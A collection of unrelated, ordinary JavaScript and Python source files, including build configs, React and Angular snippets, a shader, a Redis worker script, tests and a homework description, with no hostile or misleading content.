viewvalues = operator.methodcaller("viewvalues")
viewitems = operator.methodcaller("viewitems")
_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.")
_add_doc(itervalues, "Return an iterator over the values of a dictionary.")
_add_doc(iteritems,
"Return an iterator over the (key, value) pairs of a dictionary.")
_add_doc(iterlists,
"Return an iterator over the (key, [values]) pairs of a dictionary.")
if PY3:
def b(s):
return s.encode("latin-1")
def u(s):
return s
unichr = chr
if sys.version_info[1] <= 1:
def int2byte(i):
return bytes((i,))
else:
# This is about 2x faster than the implementation above on 3.2+
int2byte = operator.methodcaller("to_bytes", 1, "big")
byte2int = operator.itemgetter(0)
indexbytes = operator.getitem
iterbytes = iter
import io
StringIO = io.StringIO
BytesIO = io.BytesIO
_assertCountEqual = "assertCountEqual"
_assertRaisesRegex = "assertRaisesRegex"
_assertRegex = "assertRegex"
else:
def b(s):
return s
# Workaround for standalone backslash
def u(s):
return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape")
unichr = unichr
int2byte = chr
def byte2int(bs):
return ord(bs[0])
def indexbytes(buf, i):
return ord(buf[i])
iterbytes = functools.partial(itertools.imap, ord)
import StringIO
StringIO = BytesIO = StringIO.StringIO
_assertCountEqual = "assertItemsEqual"
_assertRaisesRegex = "assertRaisesRegexp"
_assertRegex = "assertRegexpMatches"
_add_doc(b, """Byte literal""")
_add_doc(u, """Text literal""")
def assertCountEqual(self, *args, **kwargs):
return getattr(self, _assertCountEqual)(*args, **kwargs)
def assertRaisesRegex(self, *args, **kwargs):
return getattr(self, _assertRaisesRegex)(*args, **kwargs)
def assertRegex(self, *args, **kwargs):
return getattr(self, _assertRegex)(*args, **kwargs)
if PY3:
exec_ = getattr(moves.builtins, "exec")
def reraise(tp, value, tb=None):
if value is None:
value = tp()
if value.__traceback__ is not tb:
raise value.with_traceback(tb)
raise value
else:
def exec_(_code_, _globs_=None, _locs_=None):
"""Execute code in a namespace."""
if _globs_ is None:
frame = sys._getframe(1)
_globs_ = frame.f_globals
if _locs_ is None:
_locs_ = frame.f_locals
del frame
elif _locs_ is None:
_locs_ = _globs_
exec("""exec _code_ in _globs_, _locs_""")
exec_("""def reraise(tp, value, tb=None):
raise tp, value, tb
""")
if sys.version_info[:2] == (3, 2):
exec_("""def raise_from(value, from_value):
if from_value is None:
raise value
raise value from from_value
""")
elif sys.version_info[:2] > (3, 2):
exec_("""def raise_from(value, from_value):
raise value from from_value
""")
else:
def raise_from(value, from_value):
raise value
print_ = getattr(moves.builtins, "print", None)
if print_ is None:
def print_(*args, **kwargs):
"""The new-style print function for Python 2.4 and 2.5."""
fp = kwargs.pop("file", sys.stdout)
if fp is None:
return
def write(data):
if not isinstance(data, basestring):
data = str(data)
# If the file has an encoding, encode unicode with it.
if (isinstance(fp, file) and
isinstance(data, unicode) and
fp.encoding is not None):
errors = getattr(fp, "errors", None)
if errors is None:
errors = "strict"
data = data.encode(fp.encoding, errors)
fp.write(data)
want_unicode = False
sep = kwargs.pop("sep", None)
if sep is not None:
if isinstance(sep, unicode):
want_unicode = True
elif not isinstance(sep, str):
raise TypeError("sep must be None or a string")
end = kwargs.pop("end", None)
if end is not None:
if isinstance(end, unicode):
want_unicode = True
elif not isinstance(end, str):
raise TypeError("end must be None or a string")
if kwargs:
raise TypeError("invalid keyword arguments to print()")
if not want_unicode:
for arg in args:
if isinstance(arg, unicode):
want_unicode = True
break
if want_unicode:
newline = unicode("\n")
space = unicode(" ")
else:
newline = "\n"
space = " "
if sep is None:
sep = space
if end is None:
end = newline
for i, arg in enumerate(args):
if i:
write(sep)
write(arg)
write(end)
if sys.version_info[:2] < (3, 3):
_print = print_
def print_(*args, **kwargs):
fp = kwargs.get("file", sys.stdout)
flush = kwargs.pop("flush", False)
_print(*args, **kwargs)
if flush and fp is not None:
fp.flush()
_add_doc(reraise, """Reraise an exception.""")
if sys.version_info[0:2] < (3, 4):
def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS,
updated=functools.WRAPPER_UPDATES):
def wrapper(f):
f = functools.wraps(wrapped, assigned, updated)(f)
f.__wrapped__ = wrapped
return f
return wrapper
else:
wraps = functools.wraps
def with_metaclass(meta, *bases):
"""Create a base class with a metaclass."""
# This requires a bit of explanation: the basic idea is to make a dummy
# metaclass for one level of class instantiation that replaces itself with
# the actual metaclass.
class metaclass(meta):
def __new__(cls, name, this_bases, d):
return meta(name, bases, d)
return type.__new__(metaclass, 'temporary_class', (), {})
def add_metaclass(metaclass):
"""Class decorator for creating a class with a metaclass."""
def wrapper(cls):
orig_vars = cls.__dict__.copy()
slots = orig_vars.get('__slots__')
if slots is not None:
if isinstance(slots, str):
slots = [slots]
for slots_var in slots:
orig_vars.pop(slots_var)
orig_vars.pop('__dict__', None)
orig_vars.pop('__weakref__', None)
return metaclass(cls.__name__, cls.__bases__, orig_vars)
return wrapper
def python_2_unicode_compatible(klass):
"""
A decorator that defines __unicode__ and __str__ methods under Python 2.
Under Python 3 it does nothing.
To support Python 2 and 3 with a single code base, define a __str__ method
returning text and apply this decorator to the class.
"""
if PY2:
if '__str__' not in klass.__dict__:
raise ValueError("@python_2_unicode_compatible cannot be applied "
"to %s because it doesn't define __str__()." %
klass.__name__)
klass.__unicode__ = klass.__str__
klass.__str__ = lambda self: self.__unicode__().encode('utf-8')
return klass
# Complete the moves implementation.
# This code is at the end of this module to speed up module loading.
# Turn this module into a package.
__path__ = [] # required for PEP 302 and PEP 451
__package__ = __name__ # see PEP 366 @ReservedAssignment
if globals().get("__spec__") is not None:
__spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable
# Remove other six meta path importers, since they cause problems. This can
# happen if six is removed from sys.modules and then reloaded. (Setuptools does
# this for some reason.)
if sys.meta_path:
for i, importer in enumerate(sys.meta_path):
# Here's some real nastiness: Another "instance" of the six module might
# be floating around. Therefore, we can't use isinstance() to check for
# the six meta path importer, since the other six instance will have
# inserted an importer with different class.
if (type(importer).__name__ == "_SixMetaPathImporter" and
importer.name == __name__):
del sys.meta_path[i]
break
del i, importer
# Finally, add the importer to the meta path import hook.
sys.meta_path.append(_importer)
|
/** @format */
const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const config = require('./bundle.config.js');
module.exports = env => {
const baseConfig = env.production ? config.prod : config.dev;
return {
...baseConfig,
output: {
path: path.resolve(__dirname, '../public'),
publicPath: '/',
filename: '[name].bundle-[hash].js',
chunkFilename: '[name].bundle-[hash].js'
},
module: {
rules: [
{
test: /\.(js|jsx)$/,
exclude: /node_modules/,
use: {
loader: 'babel-loader',
options: {
presets: ['@babel/react', '@babel/env']
}
}
},
{
test: /\.(scss|css)$/,
exclude: /node_modules/,
use: [
{
loader: 'style-loader'
},
{
loader: 'css-loader',
options: {
importLoaders: 1
}
},
{
loader: 'postcss-loader',
options: {
config: {
path: path.resolve(__dirname)
}
}
}
]
},
{
test: /\.(png|jpg|gif)$/,
use: [
{
loader: 'file-loader',
options: {}
}
]
}
]
},
optimization: {
splitChunks: {
cacheGroups: {
vendor: {
chunks: 'initial',
name: 'vendor',
test: 'vendor',
enforce: true
}
}
},
runtimeChunk: true
},
plugins: [
new HtmlWebpackPlugin({
filename: 'index.html',
template: 'src/client/index.html'
}),
...baseConfig.plugins
]
};
};
|
var Foo = /*#__PURE__*/function () {
"use strict";
function Foo() {}
var _proto = Foo.prototype;
_proto.foo = function foo(props) {
;
[x, ...this.client] = props;
};
return Foo;
}();
|
import { fromJS } from 'immutable';
import homeReducer from '../reducer';
import { changeSearch } from '../actions';
describe('homeReducer', () => {
let state;
beforeEach(() => {
state = fromJS({
search: '',
venues: false,
total: 0,
position: false
});
});
it('should return the initial state', () => {
const expectedResult = state;
expect(homeReducer(undefined, {})).toEqual(expectedResult);
});
it('should handle the changeSearch action correctly', () => {
const search = 'coffee';
const expectedResult = state.set('search', search);
expect(homeReducer(state, changeSearch(search))).toEqual(expectedResult);
});
});
|
var DigitalGlitch = {
uniforms: {
"tDiffuse": { value: null },//diffuse texture
"tDisp": { value: null },//displacement texture for digital glitch squares
"byp": { value: 0 },//apply the glitch ?
"amount": { value: 0.08 },
"angle": { value: 0.02 },
"seed": { value: 0.02 },
"seed_x": { value: 0.02 },//-1,1
"seed_y": { value: 0.02 },//-1,1
"distortion_x": { value: 0.5 },
"distortion_y": { value: 0.6 },
"col_s": { value: 0.05 }
},
vertexShader: [
"varying vec2 vUv;",
"void main() {",
"vUv = uv;",
"gl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );",
"}"
].join( "\n" ),
fragmentShader: [
"uniform int byp;",//should we apply the glitch ?
"uniform sampler2D tDiffuse;",
"uniform sampler2D tDisp;",
"uniform float amount;",
"uniform float angle;",
"uniform float seed;",
"uniform float seed_x;",
"uniform float seed_y;",
"uniform float distortion_x;",
"uniform float distortion_y;",
"uniform float col_s;",
"varying vec2 vUv;",
"float rand(vec2 co){",
"return fract(sin(dot(co.xy ,vec2(12.9898,78.233))) * 43758.5453);",
"}",
"void main() {",
"if(byp<1) {",
"vec2 p = vUv;",
"float xs = floor(gl_FragCoord.x / 0.5);",
"float ys = floor(gl_FragCoord.y / 0.5);",
//based on staffantans glitch shader for unity https://github.com/staffantan/unityglitch
"vec4 normal = texture2D (tDisp, p*seed*seed);",
"if(p.y<distortion_x+col_s && p.y>distortion_x-col_s*seed) {",
"if(seed_x>0.){",
"p.y = 1. - (p.y + distortion_y);",
"}",
"else {",
"p.y = distortion_y;",
"}",
"}",
"if(p.x<distortion_y+col_s && p.x>distortion_y-col_s*seed) {",
"if(seed_y>0.){",
"p.x=distortion_x;",
"}",
"else {",
"p.x = 1. - (p.x + distortion_x);",
"}",
"}",
"p.x+=normal.x*seed_x*(seed/5.);",
"p.y+=normal.y*seed_y*(seed/5.);",
//base from RGB shift shader
"vec2 offset = amount * vec2( cos(angle), sin(angle));",
"vec4 cr = texture2D(tDiffuse, p + offset);",
"vec4 cga = texture2D(tDiffuse, p);",
"vec4 cb = texture2D(tDiffuse, p - offset);",
"gl_FragColor = vec4(cr.r, cga.g, cb.b, cga.a);",
//add noise
"vec4 snow = 200.*amount*vec4(rand(vec2(xs * seed,ys * seed*50.))*0.2);",
"gl_FragColor = gl_FragColor+ snow;",
"}",
"else {",
"gl_FragColor=texture2D (tDiffuse, vUv);",
"}",
"}"
].join( "\n" )
};
export { DigitalGlitch }
|
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
*/
import * as React from 'react';
import {createContext, Component, Fragment, useContext} from 'react';
import PropTypes from 'prop-types';
function someNamedFunction() {}
const contextData = {
array: ['first', 'second', 'third'],
bool: true,
func: someNamedFunction,
number: 123,
object: {outer: {inner: {}}},
string: 'abc',
symbol: Symbol.for('symbol'),
null: null,
undefined: undefined,
};
class LegacyContextProvider extends Component<any> {
static childContextTypes = {
array: PropTypes.array,
bool: PropTypes.bool,
func: PropTypes.func,
number: PropTypes.number,
object: PropTypes.object,
string: PropTypes.string,
symbol: PropTypes.symbol,
null: PropTypes.any,
undefined: PropTypes.any,
};
getChildContext() {
return contextData;
}
render() {
return this.props.children;
}
}
class LegacyContextConsumer extends Component<any> {
static contextTypes = {
array: PropTypes.array,
bool: PropTypes.bool,
func: PropTypes.func,
number: PropTypes.number,
object: PropTypes.object,
string: PropTypes.string,
symbol: PropTypes.symbol,
null: PropTypes.any,
undefined: PropTypes.any,
};
render() {
return null;
}
}
const ModernContext = createContext();
ModernContext.displayName = 'ModernContext';
const ArrayContext = createContext(contextData.array);
ArrayContext.displayName = 'ArrayContext';
const BoolContext = createContext(contextData.bool);
BoolContext.displayName = 'BoolContext';
const FuncContext = createContext(contextData.func);
FuncContext.displayName = 'FuncContext';
const NumberContext = createContext(contextData.number);
NumberContext.displayName = 'NumberContext';
const StringContext = createContext(contextData.string);
StringContext.displayName = 'StringContext';
const SymbolContext = createContext(contextData.symbol);
SymbolContext.displayName = 'SymbolContext';
const NullContext = createContext(null);
NullContext.displayName = 'NullContext';
const UndefinedContext = createContext(undefined);
UndefinedContext.displayName = 'UndefinedContext';
class ModernContextType extends Component<any> {
static contextType = ModernContext;
render() {
return null;
}
}
function FunctionalContextConsumer() {
useContext(StringContext);
return null;
}
export default function Contexts() {
return (
<Fragment>
<LegacyContextProvider>
<LegacyContextConsumer />
</LegacyContextProvider>
<ModernContext.Provider value={contextData}>
<ModernContext.Consumer>{value => null}</ModernContext.Consumer>
<ModernContextType />
</ModernContext.Provider>
<FunctionalContextConsumer />
<ArrayContext.Consumer>{value => null}</ArrayContext.Consumer>
<BoolContext.Consumer>{value => null}</BoolContext.Consumer>
<FuncContext.Consumer>{value => null}</FuncContext.Consumer>
<NumberContext.Consumer>{value => null}</NumberContext.Consumer>
<StringContext.Consumer>{value => null}</StringContext.Consumer>
<SymbolContext.Consumer>{value => null}</SymbolContext.Consumer>
<NullContext.Consumer>{value => null}</NullContext.Consumer>
<UndefinedContext.Consumer>{value => null}</UndefinedContext.Consumer>
</Fragment>
);
}
|
module.exports = {
plugins: {
autoprefixer:{},
"postcss-px-to-viewport": {
viewportWidth:375, //视图的宽度,对应的是设计稿的宽度 1物理点可放2像素点
viewportHeight:667, //视图的高度
unitPrecision:5, //指定的转化后的小数点位数
viewportUnit: 'vw', //转化为什么单位
selectorBlackList:['ignore'], //忽略掉那些类,不转化
minPixelValue:1, //最小单位,就不用转化了
mediaQuery:false, //是否允许在媒体查询中查找‘px’
exclude:[/ProFile/] //必须是正则
}
}
} |
import $ from "jquery";
import Sortable from "sortablejs";
import "../../../vendor/plugins/jquery/select2";
import "jquery-validation";
import "../../../../sass/pages/create-linelist-template.scss";
// ****************************************************************************
// FORM VALIDATION - uses jquery-validation plugin
// ****************************************************************************
const saveBtn = $("#save-btn");
const form = $("#template-form");
const setSubmitBtnState = () => {
const fieldCount = $('[name="fields"]').length;
saveBtn.prop("disabled", !form.valid() || fieldCount === 0);
};
form.validate({
errorElement: "em",
errorPlacement: function(error, element) {
error.addClass("help-block");
error.insertAfter(element);
},
highlight(element) {
$(element)
.parents(".form-group")
.addClass("has-error")
.removeClass("has-success");
},
unhighlight(element) {
$(element)
.parents(".form-group")
.addClass("has-success")
.removeClass("has-error");
}
});
form.find("input").on("keyup blur", setSubmitBtnState);
const list = document.querySelector(".template-fields");
if (window.PAGE.isOwner) {
Sortable.create(list);
}
// ****************************************************************************
// Current Fields
// Get a list of all the current fields on the page so that we
// do not allow duplicate fields.
// ****************************************************************************
const existingFields = new Set();
document.querySelectorAll(".field-names").forEach(field => {
existingFields.add(field.value);
});
/**
* Make sure there is at least 1 field in the template
* if there is not, display a warning message
*/
function checkFieldsState() {
const $fieldsWarning = $("#field-count-warning");
const fieldCount = $('[name="fields"]').length;
if (fieldCount) {
$fieldsWarning.addClass("hidden");
} else {
$fieldsWarning.removeClass("hidden");
}
}
/**
* Get a template for a new field item in the DOM
* @param {string} field name
* @return {string} DOM element.
*/
function createNewListGroupItem(field) {
return `
<li class="list-group-item template-field">
<i class="fa fa-bars" aria-hidden="true"></i>
${field}
<input class="field-names" name="fields" type="hidden" value="${field}"/>
<span class="close field-remove pull-right">×</span>
</li>
`;
}
/**
* Add a new field list item to the page.
* @param {string} field name
*/
function addNewField(field) {
const li = createNewListGroupItem(field);
$(".template-fields").append(li);
checkFieldsState();
setSubmitBtnState();
}
/**
* Remove the field from the page
* @param {object} btn clicked
*/
function removeFieldFromButton(btn) {
const li = $(btn).closest("li");
const term = li.find(".field-names").val();
existingFields.delete(term);
li.remove();
}
/**
* Handle clicking the remove button on the field.
*/
$(".template-fields").on("click", ".field-remove", function() {
removeFieldFromButton(this);
setSubmitBtnState();
checkFieldsState();
});
$("#add-field-modal").on("shown.bs.modal", function() {
const modal = $(this);
const fieldSelect2 = $("#field-select")
.select2({
dropdownParent: modal,
theme: "bootstrap",
minimumInputLength: 1,
ajax: {
url: window.PAGE.urls.fields,
dataType: "json",
delay: 250,
processResults(data, params) {
data = data.filter(item => {
return !existingFields.has(item);
});
const results = data.map(item => ({ id: item, text: item }));
const searchTerm = params.term;
if (!data.includes(searchTerm) && !existingFields.has(searchTerm)) {
results.unshift({
id: searchTerm,
isNew: true,
text: searchTerm
});
}
return { results };
},
cache: true
},
templateResult(data) {
if (data.isNew) {
return $(`
<div>${data.text}<span class="label label-warning pull-right">NEW</span></div>
`);
}
return data.text;
}
})
.on("select2:select", function() {
const value = $(this).val();
if (value) {
existingFields.add(value);
addNewField(value);
}
// Reset Select2
fieldSelect2.val(null).trigger("change");
modal.modal("hide");
});
fieldSelect2.select2("open");
});
// ****************************************************************************
// Set up Delete Template
// ****************************************************************************
$("#delete-checkbox").on("change", function() {
$("#delete-template-btn").prop("disabled", !this.checked);
});
// Force validation on load
form.validate().form();
checkFieldsState();
|
/* eslint-disable no-console */
const Promise = require('bluebird');
const redis = Promise.promisifyAll(require('redis'));
const color = require('colors');
let doLogging = false;
const startTime = Date.now();
const cliPrefix = 'tester_';
/* const config = {
port: 6379, // Port of Redis server
host: '127.0.0.1', // Redis server host
}; */
const aClient = redis.createClient();
/**
* Param setters for action type and client name
*/
aClient.setActionType = function setActionType(type) { this.myActionType = type; };
aClient.setAppName = function setAppName(name) { this.appName = name; };
/**
* This generates a random string
* @param {Integer} len is an output message length
*/
function newMessage(len) {
let str = '';
const max = 62;
for (let i = 0; i < len; i++) {
let r = Math.floor(Math.random() * max);
if (r > 9) {
if (r < 36) {
r += 55;
} else {
r += 61;
}
} else {
r += 48;
}
str += String.fromCharCode(r);
}
return str;
}
/**
* Colored output to see who is who
* @param {*} message text to be colored
* @param {*} type generator, processor or system
* by default color = white
*/
function colorLog(message, type) {
if (doLogging) {
if (type === undefined) console.log(`${message}`);
else if (type === 'generator') console.log(color.green(`${message}`));
else if (type === 'processor') console.log(color.blue(`${message}`));
else if (type === 'error') console.log(color.red(`${message}`));
}
}
/**
* As in task we do the following:
* get the messages with errors
* display them
* then delete
*/
function getErrors(client) {
colorLog('getErrors call accepted');
client.llenAsync('corrupted')
.then((num)=> {
colorLog(`Appeared ${num} corrupted messages`);
return client.lrangeAsync('corrupted', 0, num);
})
.then((data)=> {
for (let i = 0; i < data.length; i++) {
colorLog(data[i]);
}
})
.then(()=> {
colorLog('Deleting corrupted messages');
return client.del('corrupted');
})
.delay(2000)
.then(()=> {
console.log('All deleted');
process.exit(0);
});
}
/**
* Return true if generator is active
* @param {redis client} generator we pass a redis client
*/
function genIsValid(generator) {
return generator.getAsync('active_gen')
.then((result) => {
return result === 'active';
});
}
/**
* Do what generator does
* @param {redis client} generator we pass a redis client
* update TTL of the active_gen record
* generate message then push it to 'to_process' queue
* increase 'generated' iterator in case we'll need it
*/
function pActGenerator(generator) {
generator.setAsync('active_gen', 'active', 'EX', 1)
.then(()=>{
const message = newMessage(5);
generator.setActionType('generator');
generator.rpushAsync('to_process', message);
generator.incrAsync('generated');
colorLog(`message pushed ${message}`, generator.myActionType); })
.catch((err)=>{
colorLog(`Error in actGenerator ${err.toString()}`, 'error');
});
}
/**
* Do what processor does
* @param {redis client} processor we pass a redis client
* we use the blocking pop to make processors work one by one
* if we got in 5% possibility range we put a message into 'corrupted' queue
* else we put a message into 'processed' queue
*/
function pActProcessor(processor) {
processor.llenAsync('to_process')
.then((qsize)=>{ // check the 'to_process' queue not to block all clients
if (qsize < 2) { return Promise.resolve(); }
return processor.blpopAsync('to_process', 0)
.then((reply) => {
processor.setActionType('processor');
if (Math.random() >= 0.95) {
colorLog(`Probability 5% triggered for ${reply[1]}`);
processor.lpushAsync('corrupted', reply[1]);
}
else {
colorLog(`processed + ${reply[1]}`, processor.myActionType);
processor.lpushAsync('processed', reply[1]);
}
});
}).catch((err)=>{
colorLog(`Error in actProcessor blocking POP ${err.toString()}`, 'error');
});
}
/**
* Check if our this client is next
* if true he takes over if the generator fails
* @param {redis client} client we pass a redis client
* we get a list of all connected redis clients
* and parse it to get only our clients
* then compare if this is the correct client to become generator
*/
function appIsNext(client) {
return client.clientAsync('list').then((data) => {
let res = [];
const cliQueue = [];
res = data.split(/\n(?!$)/); // new lines except ending line, coz its empty
for (let i = 0; i < res.length; i++) {
let temp = res[i].split(/\b\s/); // spaces after words
// res[i] = temp;
// temp = res[i][3].split(/=/)[1]; // params look like 'name=cli_name', split on '='
temp = temp[3].split(/=/)[1]; // params look like 'name=cli_name', split on '='
if (temp.indexOf(cliPrefix) + 1) { cliQueue.push(temp); } // get only our apps clients names prefixed with 'tester_'
}
return cliQueue;
}).then((result)=>{
return client.appName === result[0];
}).catch((err) => {
colorLog(`Error in appIsNext: ${err.toString()}`, 'error');
});
}
/**
* Init our apps with names
* @param {redis client} client we pass a redis client
* by default clients connections are unnamed
* we name them to be able to distinguish them later
*/
function initApp(client) {
const name = cliPrefix + newMessage(8);
client.setAppName(name); // a redis client property
client.clientAsync('setname', name); // a name for DB connection
}
/**
* int main (void).... almost
* @param {redis client} client we pass a redis client
* outer function is to control the execution
* and a small hamster running in the wheel
*
* we init client
* check if the generator is present:
* generator active and this is a 'generator' - we generate every 500 ms
* generator active and this is a 'processor' - we process
* no generator - we look which client is next in queue, if this is next - become generator
*/
function wheel(client, timesToRun) {
let limitGen = false;
let msgsGenerated = 0;
if (Number.parseInt(timesToRun, 10) > 0) limitGen = true;
initApp(client);
colorLog(`Client name: ${client.appName}`);
function hamster() {
genIsValid(client).then((isActive) => {
if (isActive) {
if (client.myActionType === 'generator') {
msgsGenerated++;
if (limitGen && (msgsGenerated >= timesToRun)) {
return Promise.reject(new Error('tired to rock'));
}
return Promise.delay(10).then(pActGenerator(client)); // delay changed for testing reasons
}
return pActProcessor(client);
}
return appIsNext(client).then((isNext)=>{
if (isNext) { pActGenerator(client); }
});
})
.then(() => {
process.nextTick(hamster);
return Promise.resolve();
})
.catch((err) => {
if (err.toString() === 'Error: tired to rock') {
const passed = (Date.now() - startTime) / 1000;
colorLog(`Took ${Math.floor(Number.parseInt(passed, 10))} seconds to generate ${timesToRun}`);
}
else { colorLog(`Look! An error: ${err.toString()}`, 'error');}
process.exit();
});
}
hamster();
}
/**
* don't forget to switch on the output;
* we don't mess around and accept only
* 'app', 'getError', or number of messages to generate
* otherwise it won't start
*/
if (process.argv[2] !== undefined) {
doLogging = true;
if (isNaN(process.argv[2])) {
if (process.argv[2].toLowerCase() === 'app') {
wheel(aClient);
}
else if (process.argv[2] === 'getErrors') {
getErrors(aClient);
}
else {
colorLog('Incorrect starting parameters', 'error');
process.exit();
}
}
else if (Number.parseInt(process.argv[2], 10) > 0) {
wheel(aClient, Number.parseInt(process.argv[2], 10));
}
else {
colorLog('Incorrect starting parameters', 'error');
process.exit();
}
}
else { process.exit(); }
module.exports.wheel = wheel;
|
import typescript from '@rollup/plugin-typescript'
import commonjs from '@rollup/plugin-commonjs'
import resolve from '@rollup/plugin-node-resolve'
import json from '@rollup/plugin-json'
import { terser } from 'rollup-plugin-terser'
import analyze from 'rollup-plugin-analyzer'
import replace from '@rollup/plugin-replace'
const UMD_NAME = 'Lhast'
export default [
...createOptions({
directory: 'es2015'
, target: 'ES2015'
})
, ...createOptions({
directory: 'es2018'
, target: 'ES2018'
})
]
function createOptions({ directory, target }) {
const commonPlugins = [
replace({
'Object.defineProperty(exports, "__esModule", { value: true });': ''
, delimiters: ['\n', '\n']
})
, resolve({ browser: true })
, commonjs()
, json()
, typescript({ target })
]
return [
{
input: 'src/index.ts'
, output: createOutput('index')
, plugins: [
...commonPlugins
, analyze({ summaryOnly: true })
]
}
, {
input: 'src/index.ts'
, output: createMinification('index')
, plugins: [
...commonPlugins
, terser()
]
}
]
function createOutput(name) {
return [
{
file: `dist/${directory}/${name}.mjs`
, format: 'es'
, sourcemap: true
}
, {
file: `dist/${directory}/${name}.umd.js`
, format: 'umd'
, name: UMD_NAME
, sourcemap: true
}
]
}
function createMinification(name) {
return [
{
file: `dist/${directory}/${name}.min.mjs`
, format: 'es'
, sourcemap: true
}
, {
file: `dist/${directory}/${name}.umd.min.js`
, format: 'umd'
, name: UMD_NAME
, sourcemap: true
}
]
}
}
|
// Destructuring of Object
let obj = { name:"Nikhil", age: 29, role: "developer" }
let { name, age } = obj
console.log(name)
console.log(age)
|
var callbackArguments = [];
var argument1 = function() {
callbackArguments.push(arguments)
return ["À"]; };
var argument2 = function() {
callbackArguments.push(arguments)
return undefined; };
var argument3 = true;
var argument4 = function() {
callbackArguments.push(arguments)
return -67.71554092735987; };
var argument5 = null;
var argument6 = function() {
callbackArguments.push(arguments)
return -99.70728810056985; };
var base_0 = [460,5e-324,403,893]
var r_0= undefined
try {
r_0 = base_0.map(argument1)
}
catch(e) {
r_0= "Error"
}
var base_1 = r_0
var r_1= undefined
try {
r_1 = base_1.map(argument2,argument3)
}
catch(e) {
r_1= "Error"
}
var base_2 = r_1
var r_2= undefined
try {
r_2 = base_2.map(argument4,argument5)
}
catch(e) {
r_2= "Error"
}
var base_3 = r_0
var r_3= undefined
try {
r_3 = base_3.map(argument6)
}
catch(e) {
r_3= "Error"
}
function serialize(array){
return array.map(function(a){
if (a === null || a == undefined) return a;
var name = a.constructor.name;
if (name==='Object' || name=='Boolean'|| name=='Array'||name=='Number'||name=='String')
return JSON.stringify(a);
return name;
});
}
setTimeout(function(){
require("fs").writeFileSync("./experiments/map/mapQC/test831.json",JSON.stringify({"baseObjects":serialize([base_0,base_1,base_2,base_3]),"returnObjects":serialize([r_0,r_1,r_2,r_3]),"callbackArgs":callbackArguments}))
},300) |
/**
* Swaggy Jenkins
* Jenkins API clients generated from Swagger / Open API specification
*
* The version of the OpenAPI document: 1.1.2-pre.0
* Contact: [email protected]
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*
*/
import ApiClient from '../ApiClient';
/**
* The PipelineActivityartifacts model module.
* @module model/PipelineActivityartifacts
* @version 1.1.2-pre.0
*/
class PipelineActivityartifacts {
/**
* @member {String} name
* @type {String}
*/
name;
/**
* @member {Number} size
* @type {Number}
*/
size;
/**
* @member {String} url
* @type {String}
*/
url;
/**
* @member {String} _class
* @type {String}
*/
_class;
/**
* Constructs a new <code>PipelineActivityartifacts</code>.
* @alias module:model/PipelineActivityartifacts
*/
constructor() {
PipelineActivityartifacts.initialize(this);
}
/**
* Initializes the fields of this object.
* This method is used by the constructors of any subclasses, in order to implement multiple inheritance (mix-ins).
* Only for internal use.
*/
static initialize(obj) {
}
/**
* Constructs a <code>PipelineActivityartifacts</code> from a plain JavaScript object, optionally creating a new instance.
* Copies all relevant properties from <code>data</code> to <code>obj</code> if supplied or a new instance if not.
* @param {Object} data The plain JavaScript object bearing properties of interest.
* @param {module:model/PipelineActivityartifacts} obj Optional instance to populate.
* @return {module:model/PipelineActivityartifacts} The populated <code>PipelineActivityartifacts</code> instance.
*/
static constructFromObject(data, obj) {
if (data) {
obj = obj || new PipelineActivityartifacts();
if (data.hasOwnProperty('name')) {
obj['name'] = ApiClient.convertToType(data['name'], 'String');
}
if (data.hasOwnProperty('size')) {
obj['size'] = ApiClient.convertToType(data['size'], 'Number');
}
if (data.hasOwnProperty('url')) {
obj['url'] = ApiClient.convertToType(data['url'], 'String');
}
if (data.hasOwnProperty('_class')) {
obj['_class'] = ApiClient.convertToType(data['_class'], 'String');
}
}
return obj;
}
}
export default PipelineActivityartifacts;
|
"""
Урок 23. Состояние
Смена режимов обработки команд
Цель:
Применить паттерн Состояние для изменения поведения обработчиков Команд.
В домашнем задании №2 была реализована многопоточная обработка очереди команд.
Предлагалось два режима остановки этой очереди - hard и soft.
Однако вариантов завершения и режимов обработки может быть гораздо больше.
В данном домашнем задании необходимо реализовать возможность смены режима
обработки Команд в потоке, начиная со следующей Команды.
Для этого предлагается использовать паттерн Состояние.
Каждое состояние будет иметь свой режим обработки команд.
Метод handle возвращает ссылку на следующее состояние.
Необходимо реализовать следующие состояния автомата:
"Обычное" В этом состоянии очередная команда извлекается из очереди
и выполняется. По умолчанию возвращается ссылка на этот же экземпляр
состояния.
Обработка команды HardStop приводит к тому, что будет
возвращена "нулевая ссылка" на следующее состояние, что соответствует
завершению работы потока.
Обработка команды MoveToCommand приводит к тому, что будет возвращена ссылка
на состояние MoveTo
MoveTo - состояние, в котором команды извлекаются из очереди
и перенаправляются в другую очередь. Такое состояние может быть полезно,
если хотите разгрузить сервер перед предстоящим его выключением.
Обработка команды RunCommand приводит к тому,
что будет возвращена ссылка на "обычное" состояние.
Критерии оценки:
За выполнение каждого пункта, перечисленного ниже начисляются баллы:
ДЗ сдано на проверку - 2 балла
Код решения опубликован на github/gitlab - 1 балл
Настроен CI - 2 балла
Код компилируется без ошибок - 1 балл.
Написать тест, который проверяет, что после команды hard stop, поток завершается - 1 балл
Написать тест, который проверяет, что после команды MoveToCommand,
поток переходит на обработку Команд с помощью состояния MoveTo - 1 балл
Написать тест, который проверяет, что после команды RunCommand, поток переходит
на обработку Команд с помощью состояния "Обычное" - 1 балл
Код не зависит от конкретных реализаций состояний - 1 балл
Итого: 10 баллов
Задание считается принятым, если набрано не менее 7 баллов.
""" |
'use strict';
angular.module('meanappApp')
.config(function ($stateProvider) {
$stateProvider
.state('main', {
url: '/main',
templateUrl: 'app/main/main.html',
controller: 'MainCtrl'
});
}); |
'use strict';
/* ! VARIABLE/FUNCTION NAMING CONVENTIONS THAT APPLY TO THIS FILE!
*
* DOM-related variables:
*
* - "node" - DOM Node
* - "element" - DOM Element or Node
* - "$node" or "$element" - jqLite-wrapped node or element
*
*
* Compiler related stuff:
*
* - "linkFn" - linking fn of a single directive
* - "nodeLinkFn" - function that aggregates all linking fns for a particular node
* - "childLinkFn" - function that aggregates all linking fns for child nodes of a particular node
